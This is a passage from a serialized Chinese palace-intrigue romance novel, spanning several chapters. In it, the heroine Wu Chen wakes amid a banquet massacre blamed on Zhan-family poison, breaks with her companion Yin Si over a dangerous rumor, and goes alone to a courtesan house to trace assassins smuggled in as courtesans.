一连几日,巫辰皆是少有的独自外出,将缙华堂暗卫交接的相关事务办好后,安排景婵去请过几日‘引刺局’的座上宾。于李府庭院偶有遇见初鸣,初鸣只频频问着,“巫大人,这几日我总也找不到公子......您知道公子现在哪儿吗?”
巫辰当然不知,除去每日一早于门口对视的那一眼,便再没见过了。
终于忍无可忍时,巫辰故意将殷思常靠着的那扇门重重踢开,殷思摔在庭院桌边后轻咳几声掩饰尴尬,巫辰只盯着他反复抿唇,沉默良久后,终是无言。
午间回房时,巫辰发现塌上多了一只裹着红衣的人形布偶,那布偶头上还缠着殷思最常戴的发带,再看布偶面上绣着的表情,极为粗糙,两深色黑点便代替了眉眼,嘴巴弯成微微笑着的弧度。巫辰见它这般笑着却气不打一处来,直接将碍眼的东西扔到一边。
......
冬暮中的残阳坠坠而迟,巫辰发呆晃神间行至主堂,正是用膳的时间,却只见李鹜在此处。
“巫姑娘!快来坐!”,李鹜见巫辰头回进了主堂,觉得稀奇又有趣,忙喊她过去。
“巫姑娘,我当你从不与我们一同用膳呢,殷思稍后也会来......”
巫辰听得李鹜提及殷思,起身便要走,却被李鹜拦住,“诶,巫姑娘你别走啊......好不容易来了!我还未好好谢你呢,多谢你与殷思都信我。对了巫姑娘,明日我便不与你们同去了......如今不大方便。”
李鹜说着炉火上正温着的汤羹盛到碗内,递给巫辰,“巫姑娘近几日也没见着殷思吗,听闻他是着了风寒,不愿见人,处处躲着我们呢。”
巫辰接过汤后尝过一口后,发现竟是从前在钦天监时,最喜欢的口味。
李鹜追问着巫辰,“好喝吗?!”
巫辰道:“嗯。”
“巫姑娘果真喜欢,这汤殷思日日都催我叫膳房去做,我们盯着膳房那儿改了多次用料食谱才做出来的......”,李鹜只在一旁带着自豪自顾自说着。
巫辰瞥见门口处来回闪动的身影,未说什么。
......
冬宵寂寂,窗扉处频频响动,巫辰走上前去将窗子从屋内锁住,左侧另一扇窗又开始吱吱呀呀响个不停,窗沿即将被开启时,巫辰看准时机用力将它紧紧扣住,继续上锁。
第三扇、第四扇、第五扇皆是几近开启时被巫辰关上,直至最后一扇窗关闭前被死死抵住,“让我进去。”,殷思于窗外说着,声音低沉,而后掀窗便往屋里闯。
巫辰见他蹙着眉,像是生了气,可眸中又不经意间流露出一丝委屈。
巫辰上前正要将殷思身后的窗子关严,可殷思似乎会错了意,竟向旁边稍稍躲开半步,巫辰见状直接把他推到一边,用白眼撇过去。
“阿颜,我......咳咳......”,殷思叫住巫辰,话未说完便俯身连声咳起来,再次抬头时巫辰已闭目休息了。
今夜入梦时,很是安稳,未有噩梦,只是手上轻牵住她的触感,不再温热,有些冰凉。
......
雪落千山时,寂静无声,亭中宴正开。
玉盏置于华台之上,珍馐更添雅趣,凭栏观景或是醉赏楼台,皆是极为应景的。
今日是以颖王承晚今邀请人赏冬日山景为由,将多名朝臣官员召至此处,更像是会见幕僚。
巫辰未再身着深色官服,而是换作鲜妍明丽的装扮,一身绯衣似火,衣袂随风而动,神情却仍是冰冷淡漠,与通身花楼姑娘的着装极其不相符。为行动方便,只得穿成这般混入其中。
巫辰似是毫不在意如此装扮,殷思却于一旁替她别扭起来。
待其余醒淑楼的姑娘入场就位,矜橙侧身为宴席中的殷思斟酒时,殷思稍有皱眉,道:“矜橙,不是交代过,你一人过来就好。”
矜橙道:“回公子,是巫大人那儿传话,要我多带些姑娘来,也好逼真些。”
巫辰听得这话后,只是一声轻笑,殷思抬眼看向巫辰后瞬间读懂,攥起杯盏拍在桌上,瓷杯应声而碎后,殷思指尖冒出血色。
“公子......公子息怒。”,矜橙见状忙跪于一旁。
殷思强忍怒意,“矜橙,你动的什么主意?”
“我......”,矜橙低头言语间正带哭腔。
殷思此时不愿与她再多言,只道:“滚。”
矜橙低着头跑开,面上仍带些委屈。
殷思道:“巫辰,今日有问题,叫人都离开吧。”
巫辰冷笑道,“我看挺有意思的。”
“阿颜......”
“你若怕死,你可以自己走。”,巫辰将他打断后瞥见,承晚今一行人正朝山顶处的念望台走来,忙俯身装作斟酒,跪坐于殷思身边,快速包扎起他才受伤的左手。
殷思回身看向巫辰,“她们都不会武,我们的人若护不住,会没命的。”
巫辰道,“与我有何干系。”
“......”
“哎呀!殷公子,好久不见,不知您还记得在下吗哈哈哈哈......”,都官司王斓见了殷思便开始熟络得套近乎,再定睛一看殷思身边的巫辰,面色稍转成疑惑,“这位不是巫......”
殷思起身,对着王斓身后的承晚今恭敬道,“见过颖王殿下。”,巫辰借机退至席边。
承晚今笑道,“殷公子免礼,今日可真有礼貌。”
王斓爽朗一笑后介绍起今日前来的其余人,“殷公子,这位是少府监副使,冷时杰。这位是顾长史,公子应见过的。”,王斓说着请颖王入座,“
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颖王殿下请先落座,话说今日您......怎的未带些随从护卫,这荒山......呃......这山顶上未有什么掩体,若是同您前些日子遭了刺......”
承晚今道:“本王的命,哪儿那么值钱,那日不过是受人连累,才险些一同受刺罢了。”
席间几人闻言,面上皆是稍有尴尬。
巫辰只盯着副使冷时杰看,他便是那日醒淑楼上被刺身亡冷时俊的胞弟,此人与冷时俊嚣张粗俗的行径不同,看着是个极为内敛少言的。听得承晚今一言,冷时杰忙慌乱向承晚今解释,又顾及着那日与其兄长有过冲突的殷思,言语间不像是临时与冷时俊撇清关系,更像是他兄弟二人本就不是一路人。
巫辰此前也未找过这冷时杰,听闻是他知晓此事后,硬向承晚今求来了今日的请帖。冷家人倒也奇怪,平日皆是招摇行事,似是作为世家之首,已再容不下旁人。可冷氏家主冷中书令受制于皇后,又欲与殷思暗中做交易谋算计;冷时杰又忙着攀附颖王,冷氏很可能已然朝不保夕。
顾长史宽慰着越说越急的冷时杰,“冷副使,颖王殿下并非是对您有所怀疑或者指摘,今日也是闲来赏景,再多说这些,才会坏了心情的。”
王斓附声道,“是啊冷副使,你看你这才提了新官,你兄长一事也是事出突然,于你或是于冷家无大影响的,冷大公子往日也无官职,就更......”,王斓说到此处觉得稍有不当,立即便停了下来。
“说起冷大公子,这刺杀前几日,我曾与他见过的,应是正理着什么年末朝贡,见他正赏着一物,还很是欣喜的......”,顾长史接下话茬,边回忆边说着,“今日见了殷公子,才又将此事想起,冷大公子所持的那尊白玉观音塑像,竟与殷公子面容稍有相似......”
王斓撇嘴道:“顾长史,你没事儿吧,朝贡品的观音像,要借相貌也是借女子,怎会与殷公子相像?”
承晚今笑道,“顾长史应是看错了,那观音像的面容,怕不是闵国侯吧?”
顾长史道:“是了是了,应是侯爷。殷公子与侯爷姐弟两人相貌稍有相似,我也多年未见过侯爷,许是看岔了......”
“......”
巫辰于席旁细细听着,见几人所谈提及殷思与闵国侯,不自觉得去看他。
正出神时,忽有奇香,丝丝缕缕钻入鼻腔,瞬息之间,那香气猛地浓郁起来,几乎将她彻底淹没。
......
.....
....
再睁眼,面前的却又是如鬼魅般的模糊人影,皆是口中喃喃,嘶声不断。
巫辰越是恐惧,眼前的身影越是加速靠近。
手起刃落,血光未现,动作狠绝。
风入窗牖时,吹得眼前烛火摇曳,仍是难以转醒。往昔之事、未解之结皆化作梦中杀人之念,一时之间,梦魇重重。
......
....
..
“巫辰。”
“巫辰......”
极冷的声音,巫辰不懂,他的声音为何听不出暖意了。
骤然苏醒后,宴厅之内惨已然象横生,血溅琼筵,处处可见殷殷落红。
尸骸凌乱,血渍斑驳将玉色石亭染作朱红色。
巫辰呼吸沉重,冷汗密布额间,不敢相信眼前的一切,自己竟于这般情景中全然失了神志。
巫辰怕计划出了差错,更怕被梦魇吞噬神志时,杀错了人。
犯错一般将头埋进殷思怀中,手上微微颤抖,而后紧拽向他手臂处,侧目看去时,自己满手鲜血已将他纯白色的衣衫染脏。
殷思轻抚上巫辰耳后的鬓发,“巫辰,不是你杀的,无事的。”
“你醒来就好。”
巫辰恍惚呢喃着,“不是我吗......”
殷思于她耳边轻声说着,“不是你做的,别怕。”
身后的怒声却是如雷贯耳,“不是她杀的吗?”
“不是她杀的,那这些人,怎么死的?”
“巫姑娘,她们为何死于展家毒?你,又为何可使得展家毒?”
36.事发
巫辰恍惚呢喃着,“不是我杀的吗......”
殷思于她耳边轻声说着,“不是你做的,别怕。”
身后的怒声却是如雷贯耳,“不是她杀的吗?”
“不是她杀的,那这些人,怎么死的?”
“巫姑娘,她们为何死于展家毒?你,又为何可使得展家毒?”
殷思目光冰冷落在已无气息的尸身之上,是宴席上才同几人说过话的顾长史,其心口处插着一柄短刀,淌下的血液早已凝固。
殷思一手将巫辰紧紧护着,另一手握住那短刀的刀柄,猛然一抽,残血飞溅,寒光凛冽。
他手腕一抖,短刀脱弦般,朝着正厉声指责巫辰的那人呼啸而去,直逼咽喉。
王斓快速反应,侧身一转后,以长剑将刀尖挡下,短刀调转方向后擦着衣衫飞过。
“再敢胡说,我杀了你。”,殷思抬眸的瞬间,眼神狠厉无比。
王斓面色微变,在场的人皆不敢再多言。
忽有掌声渐起,惊破清宁,“好生精彩的一仗,想不到诸位皆是,深藏若虚的高手。”,承晚今于一旁冷笑,轻纱遮目仍探不清神色。
在场多人往日都以不擅武的闲人、闲官著称,遇险受敌之时,却只得无奈暴露身手。
承晚今不紧不慢得从桌上,摸得未破的一壶清茶,倒上一盏后,缓声道:“代贺,数数这位巫姑娘,杀了几人?”
殷思抄起桌边的杯盏碎片,直朝承晚今攻去,怒意再难克制。
叮———
代贺互在承晚今身前,将瓷片打回,与剑刃接触时发出清脆一响。
王斓怒道:“殷思,你疯了吗!”
承晚今轻抬手中茶盏,递到嘴边,笑道:“王司使,你最好不要再惹他。若频频踩殷公子的痛处,他才会真的疯了。”
巫辰靠在殷思怀中,心魂初归后只竖耳听着众人的对话。
代贺清点完人数后,俯首对承晚今道:“回殿下,若算上顾长史,已死的有七十七人,八成为未名身份的死士;重伤十一人,是我们......和殷公子的人;受轻伤的,数不清。”
受重伤的多人中,正有殷思身边的小厮——末息,平日里隐去内力,到必要时才会出手。受轻伤的大多为今日来宴上服侍的醒淑楼姑娘。
承晚今问道:“有多少,是死于展家毒的?”
殷思正要发作,红着眼盯向承晚今,巫辰却猛得攥紧他的衣衫,似有阻止之意。
代贺道:“殿下,除顾长史外,其余皆死于展家毒。”
王斓收去长剑,看向殷思道:“殷公子,您可有解释?”
“大人......王都官司,这些女死士,看面色,毒已早早入了肺腑,不是才中了毒。且......”,躲在一旁半天未说过话的冷时杰开口说着,而后指向不远处一具露出相貌的尸身,补充道,“她,我见过......是......是蒙虞阁的姑娘......”
王斓眉间一皱,俯身确认起多名死士的相貌,面熟的极多。而后吩咐刑部护卫将全数尸身完整保留,以便日后查证身份。承晚今也只阴阳怪气得自言自语着,使展家毒杀人的,似是另有其人,未再有其他为难。
“巫辰,如何了?”,殷思柔声问着,鼻息轻扫过巫辰而后,融化心神,“腿能动吗?”
巫辰摇头回应后,殷思轻轻擦净巫辰手上血迹,臂展轻舒,将她横抱于怀。
殷思将巫辰抱稳后,回身看向末息,眼中唯留歉疚。
末息会意后宽解道:“公子......我无事的,我随您下山。”
寒峰凌日里,琼枝玉叶纷披素雪,苔痕点点冰花轻覆,只得徐步行下山径,袖染寒香。
还魂心绪携着冷风,迟迟而归,巫辰环上殷思脖颈后,抱得更紧了些,始终未将话说出口。
殷思一袭白衣尚可与絮絮白雪映衬相融,而她却浑身火红,置身于纯白一片中,格外扎眼,似是浴血后再从炼狱出逃。
心中一口气,被重重压着,巫辰极为清楚,自己的神志已然破碎至无法控制身体的地步。意志被击溃后,被积压多年的无力或是悔恨,即将迸发。
......
“你躲那么远做什么。”,车舆颠簸,巫辰于半路转醒,见殷思缩在马车内的一角,不知在发什么呆。
殷思抬眸看向巫辰,深吸一气后轻声问道:“好些了吗?”
巫辰道:“嗯,我还没疯。”
殷思被误会,眉梢轻耷,启唇后又不知如何解释,只好暗暗责怪自己,又在她面前说错了话。
巫辰静坐于车内,偏着头靠在车窗边,眸光黯淡,漫无目的得将帷帘掀开,风雪趁势而入,纷纷扬扬地飞进狭窄逼仄的空间。
她却仿若未觉,只是凝视着一路上陌生的光景。
“小心受了风寒。”,殷思抬手将帷帘合上,故意避开巫辰正扶着车帘的手,两人不似往日那般身影相依,未再有不经意的靠近。
巫辰并非毫无察觉,感受不到他的温度后,不安之感,异常明显。
“阿颜。”
殷思道:“阿颜,带你去一处......新地方。”
巫辰却未回应他的话,正试图将残缺的记忆拼凑完整,沉默片刻后问道,“顾长史,是谁杀的。”
殷思道:“全数刺客来前的第一刀,只朝他一人而去。”
死士或是刺客行动的第一招,永远是最易致命的,因此这第一刀,最为关键,也应朝着最关键的人刺去。
可顾长史的身份,为今日到场中最普通的那一个;所以顾长史只可能是被灭口。
巫辰反复回忆着宴时的每一处关键信息,直至意识消失前的对话中,有提及冷时俊所持观音塑像的面貌,与殷思相似,或是与殷思的长姐闵国侯相似。
冷时俊既参与宗正寺的祭品倒卖,那顾长史所说的年末朝贡品,只会是仅作为掩饰的说辞。刻有闵国侯相貌的观音像出在于皇室祭品,曾与殷思有过仇怨的冷时俊,见此物会觉欣喜,其中缘由定是不利于殷家的。
结合冷时俊死前在醒淑楼对殷思的挑衅,巫辰稍作思考后极为直接得问道,“你与闵国侯,是姐弟吗?”
此言一出,殷思双眸遽然圆睁,眼底骤起波澜,诧异道:“你说什么......”<
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巫辰再将话重复后,殷思却不再说话,只好继续追问,道出猜测,“冷时俊死前说过,你与闵国侯是母子。”
“他说什么......真相就是什么吗?你信了他的话吗?”
巫辰不解他的态度,只听出殷思语气渐冷,回身细细观察着他的神情,极为平静。
“巫辰,你信了吗?”
巫辰稍稍一顿:“信与不信,有什么关系吗?我在与你说正事,顾长史的死有蹊跷,闵国侯可能为其中关键。”
“......”,殷思回避过与她的对视,强逼自己不再去乱想。
马车辘辘正前行,忽闻一声喝止。
“公子————公子!快停一下!公子,有要事!”,只听车外是初鸣的喊声。
车停后只听一路的踏地声,车帘被掀起,初鸣将头探进来焦急道:“公子!侯爷那儿,急着押......召您回去!有要事,您快换路走吧,极为紧急的......”,说完后才注意到巫辰也在车内,忙止了声。
殷思见初鸣神情不对,将他拉出车外。
巫辰看着殷思下了车,还在回想着适才他的异常,究竟是因何而起。
初鸣呼吸急促,小声道:“公子......不好了,是兵部去了咱们府上,正找侯爷要您......和......巫大人,侯爷说要您即刻回府,且特意嘱咐,务必不要让巫大人同去,侯爷说......她已无法再多保下巫大人了......”,初鸣边说着刻意将声响越压越低,还边朝着巫辰所在的车舆看去,最后补充道,“是兵符的事......”
殷思闻言只感头疼欲裂,私用兵符一事东窗事发,自己能不能活,都成问题。巫辰那才出了情况,绝不可将她拉入深渊。
“什么事,务必不让我同去。”,巫辰下车后直接问道。
“公子......”,初鸣愣在原地似是要急哭了,只好盯着殷思的反应。
“没事,我们上车。”,殷思拉着巫辰回了车上,只留初鸣一人在雪里急的焦头烂额。
马蹄声轻,安静得诡异,重压之下,异常平静。
殷思无数遍演练着如何哄巫辰不再同行,认真哭一场求她别跟着自己,或是趁她不备冲下车舆直接跑回殷府。他神色呆滞,只静静坐着,呼吸混乱,不自觉地细汗密布额间。
巫辰凑到殷思眼前问道:“在想怎么将我扔下吗。”,说着摸向殷思无力撑在车边的手,“好冷,你好冷。”
“你在躲着我。”
“殷思,你为什么躲着我。”
“......”,殷思只一味得闪躲,不敢去看她。
巫辰猛得拽住殷思衣领,目光反复扫过他的眉眼,“不打算告诉我吗。”,而后从他的眼中,竟只捕捉出淡漠来,是他极少有的神色。
放弃追问后,巫辰边盯着殷思,边嘱咐驾车的景婵,“景婵,最快的速度,去殷......”,话未说完便被殷思捂嘴阻止。
“巫辰,我......”
“......我讨厌你了,你可以走了。”,随后将她松开,迅速垂下眸子不让她看清泪意。
37.决裂
“巫辰,我......”
“......我讨厌你了,你可以走了。”,殷思随后将她松开,迅速垂下眸子不让她看清泪意。
巫辰未有什么反应,先是一笑,“真无聊,半天你就想出这个来。”,而后朝缩在一角的殷思缓缓靠近。
殷思眸光微聚,似有惊诧,她本应生气的,不知怎的竟是毫无反应。冷淡的神情难以再装下去,慌乱逐渐暴露,“阿颜,我求你,去哪儿都好,只要不是同我一起......回缙华堂,哪怕是先去寻承晚今,他能护你平安......”
巫辰道:“你是想一个人死,不带上我吗。”
“阿颜......我会好好活着,直到再见你。”
“你能活,那我也可以,你若敢将我扔下。”,巫辰语气平淡如常,稍稍一顿,再次开口却是平静得威胁,“我现在就杀了你。”
殷思轻叹,声音中满是无奈,“生死于你口中,永远都是轻描淡写。”
巫辰道:“因为我不在乎。”
“可我在乎,我想你......好好得活。”
“与其纠结这些无用的事,不如去想解决的办法。生死一瞬,不去想着如何向生,而是先哭吗。”,巫辰边说着,边认真盯向他眼角的位置。
殷思亦在出神得看着巫辰,缓声道,“你是在哄我吗?”
“有病。”,巫辰默默坐回原位,只想远离眼前这个脑子被灌满了泪水的人。
“......”,殷思也只好无助忍哭。
“什么事。”,巫辰见殷思没反应,直朝着他左肩打过去。
殷思吃痛后,老实交代起来,“嗯......是我阿姐......”
巫辰道:“冷时俊死前说的传闻,会不会是关键。有人欲以此事针对殷家,目的......”
殷思道:“目的是要挟吧,想逼我阿姐,做些什么或是......说些什么。”
巫辰道:“观音像出现于皇室祭品中,只可能是与皇室的牵扯,你们若是母子关系,所以你是皇室......”
“我不是。”,殷思打断,声调忽得低沉。
不过是最为普通的假设猜测,巫辰不懂他为何会忽然不悦起来,只继续分析着,“冷时俊与他的同盟,此前应是在确认传闻是否为真。”
“殷思,由献都散出消息,让幕后的人相信,传闻属实或是赢面极大,逼出他们后续的行动。”
殷思问道:“......做实空穴来风的传闻,有何利可图?”
巫辰道:“不管如何,都是会被要挟。以无关痛痒的把柄,去换危及性命的威胁。”
“这是无关痛痒的事吗?”,殷思说着眉梢微蹙,目光渐凝,“我阿姐,她是从未成过婚的,要去传她的什么谣言?传她与皇室有染,还生下了......我?”
“我如何去传?要我伪造出证据,证明我是我姐姐的亲子?”
“我还没疯。”
巫辰道:“殷思,你不想活命了吗。”
“如若要平白污我已故父母的清誉,损我阿姐的名声,才可活命,我宁愿不活。这般有辱我家人的传闻我不愿听见,也绝不会去......”
巫辰将他打断:“那又如何。”
见他面上只余疑惑费解,巫辰补充道:“名声而已。”
“而已?”
巫辰回想起有关所谓名声的那些无趣传闻,平日出入人群聚集之地总能听得相关言论,加之那日于冷府齐徽姩说过的话,而后道:“因太康殿面圣,我与你在献都人口中被传成那样,皆道是我攀附了殷公子,以身换得权利,那又如何?”
殷思稍稍愣住,“你从何处听......”
“名声有什么用,我不在乎。”,巫辰确实丝毫不在意,情绪都少有出现的人,更不要说羞怯亦或是觉得屈辱。
殷思却道:“只是你不在乎,从不代表旁人也不在乎。”
巫辰听他极冷的语气,带些赌气道:“你不做,我做。”,边说着就要出车去。
“不许去。”
巫辰本未有什么大动作,却因手臂被殷思忽得一拽,身体也跟着行至颠簸处的车身踉跄一步,瞬间气不打一处来。回头看他时,不知是光线忽明忽暗晦暗不清的缘故,亦或是说到此处两人心境皆是带有怨怼,巫辰只觉他眼中有未加掩饰的嫌恶之意。
又是于梦中见过的,是带有讨厌的眼神,神色不似语言,无法欺骗。
巫辰冷笑道:“怎么,伤到你最爱的殷家,不乐意了。这么大反应,我知你向来谎话连篇,此事是真怕旁人查出些什么吗?”
“你高高在上如天上月,说什么有辱名声,宁愿不活。缙华堂曾死伤那么多人,你做了什么,殷家人又做了什么?”,巫辰说着,似是受未彻底被压制的梦癔扰乱心绪,竟少有的情绪愈渐激动,语速加快,更甚忆起与殷思相识不久时的旧账,那是的殷思在她看还是个极为讨厌的人物,“出了这等事你不闻不问,旁人皆说是殷家任由那走狗施虐行凶,没少骂你。你如今倒要起名声了,真是可笑。”
殷思也一反常态,直接反驳起来,“缙华堂弟子的命是命,那其余人的命,便不是命了?”
“是你自相矛盾。你给景婵、刘融语下的是什么令?只护官员,不顾其余侍从了吗?末息一人护下醒淑楼所有人,也险些丢了性命......”
巫辰语调冰冷,懒得与他再辩驳,干脆顺着他的话说,“他们的死活与我有何干系,我只要线索。”
狭小空间的气氛已然降至冰点,殷思闻言似乎愣住一瞬,却因心中重要意义被反复曲解的不满,几乎失去理智,尽管知她说的只是气话,仍未将语气软下来。
“展颜辰,你就是这样的人吗?”
巫辰已是忍无可忍,伸手用力钳住殷思领口处,将他死死抵到车身边缘一撞。
咚——
整个车舆也跟着突如其来的外力剧烈摇晃,车辕嘎吱作响,力道之大,使得车身近有倾覆之危。
巫辰神色冷凝,并未打算将他松开,只冷笑道:“想逼我走,于是借此,说出了真心话?”
殷思神色一变,“我......”
巫辰继续道,“你才看出我是怎样的人吗,我一直都是这么脏、这么恶心。我早早说过,不要将我幻想作你期望的样子。”
巫辰总愿将自己说得跌入淤泥之中,巫辰极为清楚,自己从不是如何高尚具有强道德感的人,也是最厌烦旁人将这种桎梏强压
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在她身上。
相处许久,她最懂殷思不愿意听些怎样的话,只需反复强调自己对他的利用或是不屑就好。
将他惹哭,很容易,将他惹怒,更加轻而易举。
“我就是要借与你的传闻,得到更多有利于我的资源。也是多亏这层原因,我做什么,你都跑不了的。我现在出去无遮无掩将皇帝杀了,旁人也是先找你,只找殷公子偿命。”
“无人会记得我,无人记得巫辰是谁。”
殷思未有任何动作上的反抗,只顺着巫辰的话继续顶嘴,“你不是叫展颜辰吗?旁人都记得你,也都记得你展家,若是有人以你已故的亲人做文章......”
啪——
只此一记耳光,打得殷思措手未及。
巫辰只在等着看他的反应,殷思耳畔嗡嗡作响后,一时愣住,强逼自己转回清醒,这才意识到已然说了错话。
巫辰仍拽着殷思不放,几乎要将他拖下车去,见他杵在原地暗自挣扎较劲,猛得抬高声调道:“你给我滚下去。”
“这是我的车,我不滚。”
......
巫辰遥想自己应去向何处时,犯了难。
于献都乃至全大苍,于她而言,已然无处可归。只好反复更换落脚点,暗中去查买卖人口与刺杀案。
此次离开后,更未打算再见他一眼,那人是死是活,都随便了。
又是一番威胁后,巫辰将随行一路的景婵和刘融语逼回了缙华堂,日后行动,还是只身一人更加方便。
巫辰于归至献都内城的路上,或是以武力相要挟或是隐去行踪,避开了殷思派来的全数闲杂人等。
连续数日,都会有不重样的人争相跟着巫辰满城跑,她只笑自己当日,竟真的信了殷思所说的‘性命难保’,有功夫派人来跟踪,看样子他还活得好好的。
每每甩开一人,巫辰也总是后悔,应将他的人直接杀了最干净,也好印证殷思所说的。
她就是极坏的烂人。
寒冬之际,城阙映满暖阳,虽霜华未消,却洋溢融融暖意。
没了旁的东西分神,巫辰也有了好好赏景的时间。
长街之上,人流如织,腊月初至,城中迎来盛会,即便寒风凛冽,也可融于祥和。
未曾见过的光景,皆是展颜初开,掩去孤影。
......
心绪恍惚行至醒淑楼时,抬眼再看楼台之上,那日损毁的廊柱围栏,已然修缮齐整。
巫辰一直对花楼有种别样的好奇,书里从没有过‘花楼’一词,却常听人说,花楼是殷思最喜之地。
醒淑楼回廊长阶上,巫辰行至未半,便有姑娘笑语盈盈地向她打起招呼:“巫姑娘好。姑娘,今日怎未与殷公子同行呢?已是半月未见殷公子来......”
巫辰只盯着楼内各处红色的装饰,心不在焉道,“他死了。”
那姑娘尴尬一笑,“未听闻消息啊......”,话未说完便与巫辰深寒的眼神相对,不敢再言语,只带巫辰行至雅阁私席处,缓缓斟酒,“姑娘,请——”
巫辰坐下后睨向桌上酒盏,流转间隐有异样色泽,一缕若有若无的异香混杂在酒香之中。
这酒,可致幻,含剧毒。
38.心涯无岸
巫辰坐下后睨向桌上酒盏,流转间隐有异样色泽,一缕若有若无的异香混杂在酒香之中。
这酒,可致幻,含剧毒。
巫辰自是不惧这毒酒,展家世代擅毒,血脉早已是练得百毒不侵。可一入醒淑楼,便有人直接端上毒酒,其中意义更加不明。
巫辰孑然一身之时,当然不怕被探得真实身份,可如今不同了,一举失策便会牵连数人。
她只细细思索,未流露半分不自然的神情,神色淡漠,而后单手执起杯盏,杯口正将接触双唇之时,被一声轻细的话语打断。
“巫姑娘,殷公子前些日子将折扇落在我这儿了,姑娘能否替我交还给他?”
巫辰面容沉静,侧目看向说话的矜橙,曾见过几次。那日于百岸亭,她曾空口栽赃,是巫辰请了数十醒淑楼姑娘参与行动。
巫辰也知她是殷思于此处的线人,随后盯向矜橙那抹若有若无的浅笑。巫辰只知殷思从不用折扇,猜透其中意蕴后,将手中杯盏重重撂下。手腕一转,摸向桌沿,而后猛然使力。
轰——————
伴随着一阵刺耳的声响,面前圆桌轰然倒地,桌上杯盏茶具摔得粉碎,碎片四溅。
巫辰掀了桌子后并未起身,双眸染上几分薄怒,冷冷凝向正笑而不语的矜橙。
“姑娘......姑娘,是矜橙说错了话,您莫要与她计较......”,花楼姑娘怎见过这般阵仗,但也只好顶着惧怕的神色过来劝巫辰。
“巫姑娘这便动气了?一把折扇而已,改日等殷公子来了,我亲自还......”,未等矜橙将刻意挑衅的话说完,巫辰已直直掐上她的脖子,抵至身侧长阶栏杆旁,未有人敢再上前劝解。
待两人相距极近又离了众人视线后,巫辰捕捉到矜橙将一物悄然塞入自己腰间的绅带内侧。
“矜橙,你是什么身份,敢与巫姑娘这样说话,以为得了殷公子的宠爱,便可肆无忌惮了?醒淑楼怎的教出你这样没规矩的。”,冯夫人行至众人身后,面上盈满笑意。
一见冯夫人,再结合多日所查得的细微线索,巫辰才知,真正与人口买卖案及刺杀案有着直接关联的,只能是献都城中各处花楼。这冯夫人作为多家花楼的东家,与冷时俊勾结后,以将卖入大苍的年轻女子送入花楼为掩护,偷运女死士进献都。
且这花楼女子,旁人只当她们玩物,天底下最低贱的身份,来至此处已是认了命,定不会有人疑心她们的来路与身份。
冯夫人一介商人,并无理由参与与政治相关的高官刺杀案,定是有其他幕后之人。
“巫姑娘既然来了,多住几日,如何?”,冯夫人边说着,边将巫辰掐着矜橙的手缓缓拉了下来。
巫辰借势将矜橙松开,冷冷道:“有劳了。”
......
醒淑楼雅间屋内正中央,一张雕花紫檀木床华美至极,四角分别安置着鎏金兽足香炉,袅袅香烟从镂空炉盖出升腾而起。
巫辰此刻才知花楼内竟有床,也可住人。她梳理后续行动时,也于屋内无所事事得转着,而后被立柜上的几册书吸引去目光,翻开几页后,发现全是不明所以的人物图绘,扔在一旁后,不再管它。
......
夜沉梦恶,血月正高悬,残垣断壁间又遇灼烧火势。
远远望见城楼之上,一华服男子正向下俯瞰,其神色晦暗不明。
而后只觉双手开始不听使唤,缓缓执弓后,箭矢飞向城楼,精准刺入那人胸膛,鲜血飞溅的瞬间火势急速蔓延,烈焰强光猛得放大靠近,直直迎面而来。
巫辰的梦魇之症已多日未再发作,尚可分辨此时身在梦中,却仍难以自控般伸手向床沿处摸索。
往日噩梦时,未过几秒,便会被温热掌心拉住,将自己彻底带离无尽深渊。
......
再次惊醒后,却极为平静。
起身将窗关严后,屋内再无浅淡月光,只余下几盏烛火茕茕,烛芯轻颤很是惹眼。
无故忆起生辰那晚,于钦天监屋内,自己也是这般盯着跳动的火焰,那日的冬夜,明明更冷。
却因他那滴落于肩头的泪,霜寒消散。
心若空洞,亦可深安于此。
如今却再次被抛下,殷思永远在以护她为由,将她反复推远。于巫辰而言,殷思眼底的情绪太过复杂,万般思绪而迁后,他从不愿多留一言。
什么都不说,她如何能懂。
此中感受,并非怨怼,亦非伤感,而是未知源头的,痛。
巫辰意识到,已有多人因自己而死,为自己所伤。任何行动,总在慢人一步,深感无力之时,发现自己才是最无用的废人。
恍惚间,巫辰眼中神色归于空洞,伸手时毫无惧意地触向仅剩的光亮,直至微焰将手指烧得红肿渗血,血水混着焦皮脱落后,灯芯才勉强熄灭。
一盏,又一盏,直到屋内只余无尽黑暗,巫辰才回神看向自己的手心,将溃烂的皮肤层层掀起后。
她只发现,自己再度失了痛感。
......
一夜无眠过后,巫辰才猛记起去看矜橙于混乱中塞到自己身上字条,无奈又痛恨总是被无关紧要的事夺走精力。
字条上仅写着寥寥几个字:东方,救。
巫辰绕开多方眼线,脱身于醒淑楼,前去东方府寻东方羽灵。
东方府侍女见巫辰过来,忙将她带入府中,并称东方羽灵已等候她多日。
......
东方羽灵并不在主堂或是屋内,只在落雪庭院处,轻推着摇椅。巫辰打远一看,是老国公东方诺坐于椅上,闭着双目,雪花簌簌而落,东方羽灵身穿湖蓝色冬衣,领口袖口滚着一圈洁白狐毛。
东方羽灵见巫辰走近,忙掩面拭去眼角的泪滴,而后面色无常得看向巫辰,“巫姑娘可算来了。”
巫辰却问道:“你哭了?”
“......”,东方羽灵闻言眉间稍稍一皱,却还是得体得笑着,“你这般直接得问出来,会让人很尴尬的。谁都不愿落泪脆弱的一面被旁人发现。”
“原来是因为脆弱吗。”,巫辰微微发愣,回想起殷思已是不知多少次,曾在自己
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面前哭个不停,本以为他是因为喜欢哭,从未觉察出是因得脆弱。
东方羽灵见巫辰盯着地面愣神,轻推她后笑道:“在想着谁呢?”
“嗯?谁来了......”,摇椅上的老国公被两人的对话吵醒,缓缓启唇,音如枯木逢霜,干涩且苍劲。
东方羽灵半跪到摇椅前,手扶把手,神色温和道:“阿爷,是我的朋友来看您了。”
“阿爷......是我的朋友来看您了......”,老国公稍稍低头,也看向东方羽灵,稍将双目睁大后却将东方羽灵的话原封不动得重复了一遍。
巫辰歪头不知这是何意,却见东方羽灵低头轻笑后,仍耐心哄着老公国,一字一句道:“是羽灵的朋友,来,看阿爷。”
老国公这次似乎是听懂了,眯眼道:“哦......羽灵的朋友啊。”
东方羽灵将巫辰拉到国公跟前,于她耳边小声道:“我阿爷年岁大了,又病着,难免有些糊涂。”
巫辰恭敬道:“见过国公......”
“羽灵,你怎么又在颜钦面前随意说阿爷坏话,你才糊涂!”,老国公一言过后,巫辰与东方羽灵皆是愣在原地。
老国公提到的——颜钦,便是当年于东宫做太子伴读的展颜钦,巫辰寻了许久的兄长。巫辰常穿深色官服,形制与男装略有接近,今日又是束发,竟被老国公认成是兄长。
